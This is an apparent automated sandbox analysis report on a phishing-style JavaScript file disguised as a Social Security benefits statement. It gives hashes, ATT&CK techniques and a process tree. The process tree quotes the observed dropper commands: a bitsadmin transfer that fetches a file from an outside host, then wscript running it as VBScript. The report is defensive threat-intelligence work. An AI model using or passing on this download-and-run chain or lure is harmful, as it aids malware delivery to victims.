a779a194e7901ef59d91eef611fb4973560b399dfe4df6b6e64f07fd254d271a

Analysis

max time kernel
31s
max time network
34s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
08/05/2023, 13:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Information About Current Social Security Benefits Your Statement Benefit ID#260_XXX_A0008731.JS.js
Size 31KB
Sample230508-qdr79sce7w
SHA256 a779a194e7901ef59d91eef611fb4973560b399dfe4df6b6e64f07fd254d271a
MD5 2a634644d7c354641e8669dc224efa6e
SHA1 f3846d63fcf5dfbaaa61351c23fa352f44a07ac6
SHA512 18ba9370cf1f336afacc13cdd8129236b45ffd16f8b3d017602b9130291a89f9cdb9ccb60394cbb668b12f4ec9dfb33f1b8a917efc3baaed30b113852a9c5936
SSDEEP 768:sggggggggggg8ggggggggggg5GgggggggggggygggggggggggzDgggggggggggkb:sggggggggggg8gggggggggggoggggggk
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
296	bitsadmin.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 824 wrote to memory of 296	824	wscript.exe	28
PID 824 wrote to memory of 296	824	wscript.exe	28
PID 824 wrote to memory of 296	824	wscript.exe	28
PID 824 wrote to memory of 1628	824	wscript.exe	30
PID 824 wrote to memory of 1628	824	wscript.exe	30
PID 824 wrote to memory of 1628	824	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Information About Current Social Security Benefits Your Statement Benefit ID#260_XXX_A0008731.JS.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:824
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://rat3.zolm7.com/wp-admin/images/r.txt C:\Users\Admin\AppData\Local\TempVB
  2⤵
  - Download via BitsAdmin
  PID:296
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\TempVB
  2⤵
  PID:1628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads